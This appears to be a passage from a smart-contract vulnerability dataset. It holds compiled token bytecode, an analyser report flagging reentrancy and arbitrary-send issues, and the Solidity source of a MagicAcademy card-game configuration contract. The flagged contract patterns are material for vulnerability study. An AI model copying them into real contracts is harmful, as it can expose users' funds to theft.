ffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610f0030610786565b600080610f0b61092a565b426040518863ffffffff1660e01b8152600401610f2d96959493929190612d61565b6060604051808303818588803b158015610f4657600080fd5b505af1158015610f5a573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f7f9190612a1b565b5050506001601160166101000a81548160ff0219169083151502179055506001601160176101000a81548160ff0219169083151502179055506a52b7d2dcc80cd2e40000006012819055506001601160146101000a81548160ff021916908315150217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611084929190612d38565b602060405180830381600087803b15801561109e57600080fd5b505af11580156110b2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110d691906129c9565b5050565b6110e26112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461116f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116690612ebf565b60405180910390fd5b600081116111b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a990612e7f565b60405180910390fd5b6111e460646111d6836b033b2e3c9fd0803ce8000000611fff90919063ffffffff16565b61207a90919063ffffffff16565b6012819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60125460405161121b9190612f5f565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611325576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131c90612f1f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611395576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138c90612e3f565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114739190612f5f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e790612eff565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611560576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155790612dff565b60405180910390fd5b600081116115a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159a90612edf565b60405180910390fd5b6005600a81905550600a600b819055506115bb61092a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561162957506115f961092a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611a7557600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116d25750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116db57600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117865750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117dc5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117f45750601160179054906101000a900460ff165b156118a45760125481111561180857600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061185357600080fd5b601e426118609190613095565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614801561194f5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156119a55750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119bb576005600a819055506014600b819055505b60006119c630610786565b9050601160159054906101000a900460ff16158015611a335750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a4b5750601160169054906101000a900460ff165b15611a7357611a5981611d05565b60004790506000811115611a7157611a7047611b9c565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611b1c5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611b2657600090505b611b32848484846120c4565b50505050565b6000838311158290611b80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b779190612ddd565b60405180910390fd5b5060008385611b8f9190613176565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611bec60028461207a90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c17573d6000803e3d6000fd5b50600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611c6860028461207a90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c93573d6000803e3d6000fd5b5050565b6000600854821115611cde576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cd590612e1f565b60405180910390fd5b6000611ce86120f1565b9050611cfd818461207a90919063ffffffff16565b915050919050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d63577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611d915781602001602082028036833780820191505090505b5090503081600081518110611dcf577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611e7157600080fd5b505afa158015611e85573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ea9919061286f565b81600181518110611ee3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f4a30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112b5565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611fae959493929190612f7a565b600060405180830381600087803b158015611fc857600080fd5b505af1158015611fdc573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b6000808314156120125760009050612074565b60008284612020919061311c565b905082848261202f91906130eb565b1461206f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161206690612e9f565b60405180910390fd5b809150505b92915050565b60006120bc83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061211c565b905092915050565b806120d2576120d161217f565b5b6120dd8484846121c2565b806120eb576120ea61238d565b5b50505050565b60008060006120fe6123a1565b91509150612115818361207a90919063ffffffff16565b9250505090565b60008083118290612163576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161215a9190612ddd565b60405180910390fd5b506000838561217291906130eb565b9050809150509392505050565b6000600a5414801561219357506000600b54145b1561219d576121c0565b600a54600c81905550600b54600d819055506000600a819055506000600b819055505b565b6000806000806000806121d48761240c565b95509550955095509550955061223286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461247490919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122c785600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124be90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123138161251c565b61231d84836125d9565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161237a9190612f5f565b60405180910390a3505050505050505050565b600c54600a81905550600d54600b81905550565b6000806000600854905060006b033b2e3c9fd0803ce800000090506123dd6b033b2e3c9fd0803ce800000060085461207a90919063ffffffff16565b8210156123ff576008546b033b2e3c9fd0803ce8000000935093505050612408565b81819350935050505b9091565b60008060008060008060008060006124298a600a54600b54612613565b92509250925060006124396120f1565b9050600080600061244c8e8787876126a9565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006124b683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b38565b905092915050565b60008082846124cd9190613095565b905083811015612512576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161250990612e5f565b60405180910390fd5b8091505092915050565b60006125266120f1565b9050600061253d8284611fff90919063ffffffff16565b905061259181600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124be90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6125ee8260085461247490919063ffffffff16565b600881905550612609816009546124be90919063ffffffff16565b6009819055505050565b60008060008061263f6064612631888a611fff90919063ffffffff16565b61207a90919063ffffffff16565b90506000612669606461265b888b611fff90919063ffffffff16565b61207a90919063ffffffff16565b9050600061269282612684858c61247490919063ffffffff16565b61247490919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126c28589611fff90919063ffffffff16565b905060006126d98689611fff90919063ffffffff16565b905060006126f08789611fff90919063ffffffff16565b905060006127198261270b858761247490919063ffffffff16565b61247490919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061274561274084613014565b612fef565b9050808382526020820190508285602086028201111561276457600080fd5b60005b85811015612794578161277a888261279e565b845260208401935060208301925050600181019050612767565b5050509392505050565b6000813590506127ad81613629565b92915050565b6000815190506127c281613629565b92915050565b600082601f8301126127d957600080fd5b81356127e9848260208601612732565b91505092915050565b60008135905061280181613640565b92915050565b60008151905061281681613640565b92915050565b60008135905061282b81613657565b92915050565b60008151905061284081613657565b92915050565b60006020828403121561285857600080fd5b60006128668482850161279e565b91505092915050565b60006020828403121561288157600080fd5b600061288f848285016127b3565b91505092915050565b600080604083850312156128ab57600080fd5b60006128b98582860161279e565b92505060206128ca8582860161279e565b9150509250929050565b6000806000606084860312156128e957600080fd5b60006128f78682870161279e565b93505060206129088682870161279e565b92505060406129198682870161281c565b9150509250925092565b6000806040838503121561293657600080fd5b60006129448582860161279e565b92505060206129558582860161281c565b9150509250929050565b60006020828403121561297157600080fd5b600082013567ffffffffffffffff81111561298b57600080fd5b612997848285016127c8565b91505092915050565b6000602082840312156129b257600080fd5b60006129c0848285016127f2565b91505092915050565b6000602082840312156129db57600080fd5b60006129e984828501612807565b91505092915050565b600060208284031215612a0457600080fd5b6000612a128482850161281c565b91505092915050565b600080600060608486031215612a3057600080fd5b6000612a3e86828701612831565b9350506020612a4f86828701612831565b9250506040612a6086828701612831565b9150509250925092565b6000612a768383612a82565b60208301905092915050565b612a8b816131aa565b82525050565b612a9a816131aa565b82525050565b6000612aab82613050565b612ab58185613073565b9350612ac083613040565b8060005b83811015612af1578151612ad88882612a6a565b9750612ae383613066565b925050600181019050612ac4565b5085935050505092915050565b612b07816131bc565b82525050565b612b16816131ff565b82525050565b6000612b278261305b565b612b318185613084565b9350612b41818560208601613211565b612b4a8161334b565b840191505092915050565b6000612b62602383613084565b9150612b6d8261335c565b604082019050919050565b6000612b85602a83613084565b9150612b90826133ab565b604082019050919050565b6000612ba8602283613084565b9150612bb3826133fa565b604082019050919050565b6000612bcb601b83613084565b9150612bd682613449565b602082019050919050565b6000612bee601d83613084565b9150612bf982613472565b602082019050919050565b6000612c11602183613084565b9150612c1c8261349b565b604082019050919050565b6000612c34602083613084565b9150612c3f826134ea565b602082019050919050565b6000612c57602983613084565b9150612c6282613513565b604082019050919050565b6000612c7a602583613084565b9150612c8582613562565b604082019050919050565b6000612c9d602483613084565b9150612ca8826135b1565b604082019050919050565b6000612cc0601783613084565b9150612ccb82613600565b602082019050919050565b612cdf816131e8565b82525050565b612cee816131f2565b82525050565b6000602082019050612d096000830184612a91565b92915050565b6000604082019050612d246000830185612a91565b612d316020830184612a91565b9392505050565b6000604082019050612d4d6000830185612a91565b612d5a6020830184612cd6565b9392505050565b600060c082019050612d766000830189612a91565b612d836020830188612cd6565b612d906040830187612b0d565b612d9d6060830186612b0d565b612daa6080830185612a91565b612db760a0830184612cd6565b979650505050505050565b6000602082019050612dd76000830184612afe565b92915050565b60006020820190508181036000830152612df78184612b1c565b905092915050565b60006020820190508181036000830152612e1881612b55565b9050919050565b60006020820190508181036000830152612e3881612b78565b9050919050565b60006020820190508181036000830152612e5881612b9b565b9050919050565b60006020820190508181036000830152612e7881612bbe565b9050919050565b60006020820190508181036000830152612e9881612be1565b9050919050565b60006020820190508181036000830152612eb881612c04565b9050919050565b60006020820190508181036000830152612ed881612c27565b9050919050565b60006020820190508181036000830152612ef881612c4a565b9050919050565b60006020820190508181036000830152612f1881612c6d565b9050919050565b60006020820190508181036000830152612f3881612c90565b9050919050565b60006020820190508181036000830152612f5881612cb3565b9050919050565b6000602082019050612f746000830184612cd6565b92915050565b600060a082019050612f8f6000830188612cd6565b612f9c6020830187612b0d565b8181036040830152612fae8186612aa0565b9050612fbd6060830185612a91565b612fca6080830184612cd6565b9695505050505050565b6000602082019050612fe96000830184612ce5565b92915050565b6000612ff961300a565b90506130058282613244565b919050565b6000604051905090565b600067ffffffffffffffff82111561302f5761302e61331c565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006130a0826131e8565b91506130ab836131e8565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156130e0576130df6132be565b5b828201905092915050565b60006130f6826131e8565b9150613101836131e8565b925082613111576131106132ed565b5b828204905092915050565b6000613127826131e8565b9150613132836131e8565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561316b5761316a6132be565b5b828202905092915050565b6000613181826131e8565b915061318c836131e8565b92508282101561319f5761319e6132be565b5b828203905092915050565b60006131b5826131c8565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061320a826131e8565b9050919050565b60005b8381101561322f578082015181840152602081019050613214565b8381111561323e576000848401525b50505050565b61324d8261334b565b810181811067ffffffffffffffff8211171561326c5761326b61331c565b5b80604052505050565b6000613280826131e8565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156132b3576132b26132be565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b613632816131aa565b811461363d57600080fd5b50565b613649816131bc565b811461365457600080fd5b50565b613660816131e8565b811461366b57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ef0146a3ca06c819fef2aa6e895ebf411258e0690247fbb33da1dccaf4700e5864736f6c63430008030033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
3,827
0xac0b506c613f6edcd447e8c412c7df3ecb3d5524
pragma solidity ^0.4.18; /// @notice define the game's configuration /// @author rainysiu rainy@livestar.com /// @dev MagicAcademy Games contract GameConfig { using SafeMath for SafeMath; address public owner; /**event**/ event newCard(uint256 cardId,uint256 baseCoinCost,uint256 coinCostIncreaseHalf,uint256 ethCost,uint256 baseCoinProduction); event newBattleCard(uint256 cardId,uint256 baseCoinCost,uint256 coinCostIncreaseHalf,uint256 ethCost,uint256 attackValue,uint256 defenseValue,uint256 coinStealingCapacity); event newUpgradeCard(uint256 upgradecardId, uint256 coinCost, uint256 ethCost, uint256 upgradeClass, uint256 cardId, uint256 upgradeValue, uint256 increase); struct Card { uint256 cardId; uint256 baseCoinCost; uint256 coinCostIncreaseHalf; // Halfed to make maths slightly less (cancels a 2 out) uint256 ethCost; uint256 baseCoinProduction; bool unitSellable; // Rare units (from raffle) not sellable } struct BattleCard { uint256 cardId; uint256 baseCoinCost; uint256 coinCostIncreaseHalf; // Halfed to make maths slightly less (cancels a 2 out) uint256 ethCost; uint256 attackValue; uint256 defenseValue; uint256 coinStealingCapacity; bool unitSellable; // Rare units (from raffle) not sellable } struct UpgradeCard { uint256 upgradecardId; uint256 coinCost; uint256 ethCost; uint256 upgradeClass; uint256 cardId; uint256 upgradeValue; uint256 increase; } /** mapping**/ mapping(uint256 => Card) private cardInfo; //normal card mapping(uint256 => BattleCard) private battlecardInfo; //battle card mapping(uint256 => UpgradeCard) private upgradeInfo; //upgrade card uint256 public currNumOfCards; uint256 public currNumOfBattleCards; uint256 public currNumOfUpgrades; uint256 public Max_CAP = 99; uint256 PLATPrice = 65000; // Constructor function GameConfig() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } address allowed; function setAllowedAddress(address _address) external onlyOwner { require(_address != address(0)); allowed = _address; } modifier onlyAccess() { require(msg.sender == allowed || msg.sender == owner); _; } function setMaxCAP(uint256 iMax) external onlyOwner { Max_CAP = iMax; } function getMaxCAP() external view returns (uint256) { return Max_CAP; } function setPLATPrice(uint256 price) external onlyOwner { PLATPrice = price; } function getPLATPrice() external view returns (uint256) { return PLATPrice; } function CreateBattleCards(uint256 _cardId, uint256 _baseCoinCost, uint256 _coinCostIncreaseHalf, uint256 _ethCost, uint _attackValue, uint256 _defenseValue, uint256 _coinStealingCapacity, bool _unitSellable) external onlyAccess { BattleCard memory _battlecard = BattleCard({ cardId: _cardId, baseCoinCost: _baseCoinCost, coinCostIncreaseHalf: _coinCostIncreaseHalf, ethCost: _ethCost, attackValue: _attackValue, defenseValue: _defenseValue, coinStealingCapacity: _coinStealingCapacity, unitSellable: _unitSellable }); battlecardInfo[_cardId] = _battlecard; currNumOfBattleCards = SafeMath.add(currNumOfBattleCards,1); newBattleCard(_cardId,_baseCoinCost,_coinCostIncreaseHalf,_ethCost,_attackValue,_defenseValue,_coinStealingCapacity); } function CreateCards(uint256 _cardId, uint256 _baseCoinCost, uint256 _coinCostIncreaseHalf, uint256 _ethCost, uint256 _baseCoinProduction, bool _unitSellable) external onlyAccess { Card memory _card = Card({ cardId: _cardId, baseCoinCost: _baseCoinCost, coinCostIncreaseHalf: _coinCostIncreaseHalf, ethCost: _ethCost, baseCoinProduction: _baseCoinProduction, unitSellable: _unitSellable }); cardInfo[_cardId] = _card; currNumOfCards = SafeMath.add(currNumOfCards,1); newCard(_cardId,_baseCoinCost,_coinCostIncreaseHalf,_ethCost,_baseCoinProduction); } function CreateUpgradeCards(uint256 _upgradecardId, uint256 _coinCost, uint256 _ethCost, uint256 _upgradeClass, uint256 _cardId, uint256 _upgradeValue, uint256 _increase) external onlyAccess { UpgradeCard memory _upgradecard = UpgradeCard({ upgradecardId: _upgradecardId, coinCost: _coinCost, ethCost: _ethCost, upgradeClass: _upgradeClass, cardId: _cardId, upgradeValue: _upgradeValue, increase: _increase }); upgradeInfo[_upgradecardId] = _upgradecard; currNumOfUpgrades = SafeMath.add(currNumOfUpgrades,1); newUpgradeCard(_upgradecardId,_coinCost,_ethCost,_upgradeClass,_cardId,_upgradeValue,_increase); } function getCostForCards(uint256 cardId, uint256 existing, uint256 amount) public constant returns (uint256) { uint256 icount = existing; if (amount == 1) { if (existing == 0) { return cardInfo[cardId].baseCoinCost; } else { return cardInfo[cardId].baseCoinCost + (existing * cardInfo[cardId].coinCostIncreaseHalf * 2); } } else if (amount > 1) { uint256 existingCost; if (existing > 0) { existingCost = (cardInfo[cardId].baseCoinCost * existing) + (existing * (existing - 1) * cardInfo[cardId].coinCostIncreaseHalf); } icount = SafeMath.add(existing,amount); uint256 newCost = SafeMath.add(SafeMath.mul(cardInfo[cardId].baseCoinCost, icount), SafeMath.mul(SafeMath.mul(icount, (icount - 1)), cardInfo[cardId].coinCostIncreaseHalf)); return newCost - existingCost; } } function getCostForBattleCards(uint256 cardId, uint256 existing, uint256 amount) public constant returns (uint256) { uint256 icount = existing; if (amount == 1) { if (existing == 0) { return battlecardInfo[cardId].baseCoinCost; } else { return battlecardInfo[cardId].baseCoinCost + (existing * battlecardInfo[cardId].coinCostIncreaseHalf * 2); } } else if (amount > 1) { uint256 existingCost; if (existing > 0) { existingCost = (battlecardInfo[cardId].baseCoinCost * existing) + (existing * (existing - 1) * battlecardInfo[cardId].coinCostIncreaseHalf); } icount = SafeMath.add(existing,amount); uint256 newCost = SafeMath.add(SafeMath.mul(battlecardInfo[cardId].baseCoinCost, icount), SafeMath.mul(SafeMath.mul(icount, (icount - 1)), battlecardInfo[cardId].coinCostIncreaseHalf)); return newCost - existingCost; } } function getCostForUprade(uint256 cardId, uint256 existing, uint256 amount) public constant returns (uint256) { if (amount == 1) { if (existing == 0) { return upgradeInfo[cardId].coinCost; } else { return upgradeInfo[cardId].coinCost + (existing * upgradeInfo[cardId].increase * 2); } } } function getWeakenedDefensePower(uint256 defendingPower) external pure returns (uint256) { return SafeMath.div(defendingPower,2); } /// @notice get the production card's ether cost function unitEthCost(uint256 cardId) external constant returns (uint256) { return cardInfo[cardId].ethCost; } /// @notice get the battle card's ether cost function unitBattleEthCost(uint256 cardId) external constant returns (uint256) { return battlecardInfo[cardId].ethCost; } /// @notice get the battle card's plat cost function unitBattlePLATCost(uint256 cardId) external constant returns (uint256) { return SafeMath.mul(battlecardInfo[cardId].ethCost,PLATPrice); } /// @notice normal production plat value function unitPLATCost(uint256 cardId) external constant returns (uint256) { return SafeMath.mul(cardInfo[cardId].ethCost,PLATPrice); } function unitCoinProduction(uint256 cardId) external constant returns (uint256) { return cardInfo[cardId].baseCoinProduction; } function unitAttack(uint256 cardId) external constant returns (uint256) { return battlecardInfo[cardId].attackValue; } function unitDefense(uint256 cardId) external constant returns (uint256) { return battlecardInfo[cardId].defenseValue; } function unitStealingCapacity(uint256 cardId) external constant returns (uint256) { return battlecardInfo[cardId].coinStealingCapacity; } function productionCardIdRange() external constant returns (uint256, uint256) { return (1, currNumOfCards); } function battleCardIdRange() external constant returns (uint256, uint256) { uint256 battleMax = SafeMath.add(39,currNumOfBattleCards); return (40, battleMax); } function upgradeIdRange() external constant returns (uint256, uint256) { return (1, currNumOfUpgrades); } // get the detail info of card function getCardsInfo(uint256 cardId) external constant returns ( uint256 baseCoinCost, uint256 coinCostIncreaseHalf, uint256 ethCost, uint256 baseCoinProduction, uint256 platCost, bool unitSellable ) { baseCoinCost = cardInfo[cardId].baseCoinCost; coinCostIncreaseHalf = cardInfo[cardId].coinCostIncreaseHalf; ethCost = cardInfo[cardId].ethCost; baseCoinProduction = cardInfo[cardId].baseCoinProduction; platCost = SafeMath.mul(ethCost,PLATPrice); unitSellable = cardInfo[cardId].unitSellable; } //for production card function getCardInfo(uint256 cardId, uint256 existing, uint256 amount) external constant returns (uint256, uint256, uint256, uint256, bool) { return (cardInfo[cardId].cardId, cardInfo[cardId].baseCoinProduction, getCostForCards(cardId, existing, amount), SafeMath.mul(cardInfo[cardId].ethCost, amount),cardInfo[cardId].unitSellable); } //for battle card function getBattleCardInfo(uint256 cardId, uint256 existing, uint256 amount) external constant returns (uint256, uint256, uint256, bool) { return (battlecardInfo[cardId].cardId, getCostForBattleCards(cardId, existing, amount), SafeMath.mul(battlecardInfo[cardId].ethCost, amount),battlecardInfo[cardId].unitSellable); } //Battle Cards function getBattleCardsInfo(uint256 cardId) external constant returns ( uint256 baseCoinCost, uint256 coinCostIncreaseHalf, uint256 ethCost, uint256 attackValue, uint256 defenseValue, uint256 coinStealingCapacity, uint256 platCost, bool unitSellable ) { baseCoinCost = battlecardInfo[cardId].baseCoinCost; coinCostIncreaseHalf = battlecardInfo[cardId].coinCostIncreaseHalf; ethCost = battlecardInfo[cardId].ethCost; attackValue = battlecardInfo[cardId].attackValue; defenseValue = battlecardInfo[cardId].defenseValue; coinStealingCapacity = battlecardInfo[cardId].coinStealingCapacity; platCost = SafeMath.mul(ethCost,PLATPrice); unitSellable = battlecardInfo[cardId].unitSellable; } //upgrade cards function getUpgradeCardsInfo(uint256 upgradecardId, uint256 existing) external constant returns ( uint256 coinCost, uint256 ethCost, uint256 upgradeClass, uint256 cardId, uint256 upgradeValue, uint256 platCost ) { coinCost = getCostForUprade(upgradecardId, existing, 1); ethCost = upgradeInfo[upgradecardId].ethCost * (100 + 10 * existing)/100; upgradeClass = upgradeInfo[upgradecardId].upgradeClass; cardId = upgradeInfo[upgradecardId].cardId; upgradeValue = upgradeInfo[upgradecardId].upgradeValue + existing; platCost = SafeMath.mul(ethCost,PLATPrice); } } library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }
0x6060604052600436106101a05763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306201ad981146101a557806314d9d2e5146101ca5780631b8fc2f0146101e657806321446cfe146102075780632b2449b51461021d5780632d78737b146102335780632df56bb21461025b578063320cffcd14610271578063341367ec1461028d578063436fdc0e146102a0578063527c08ec146102fd5780636101a1f714610310578063625785bb1461032657806369632f5614610351578063702123ae14610367578063709e6ed41461037d57806373f9421d146103905780637ef2bd52146103e25780638da5cb5b146103f557806394b67b1c14610424578063a8aeecd91461043a578063b2570b1c14610456578063b3082d251461049e578063b6206e67146104c5578063cf0f864e146104db578063deec4c20146104ee578063e2a9bb531461053d578063e968e1ec1461056a578063ee4827ea14610580578063ee9cebde146105cd578063f34e4c60146105e3578063f5610668146105f6578063fbe45b4814610609575b600080fd5b34156101b057600080fd5b6101b861061f565b60405190815260200160405180910390f35b34156101d557600080fd5b6101b8600435602435604435610625565b34156101f157600080fd5b610205600160a060020a0360043516610678565b005b341561021257600080fd5b6101b86004356106d7565b341561022857600080fd5b6102056004356106ec565b341561023e57600080fd5b61020560043560243560443560643560843560a43560c43561070c565b341561026657600080fd5b6101b8600435610857565b341561027c57600080fd5b6101b860043560243560443561086c565b341561029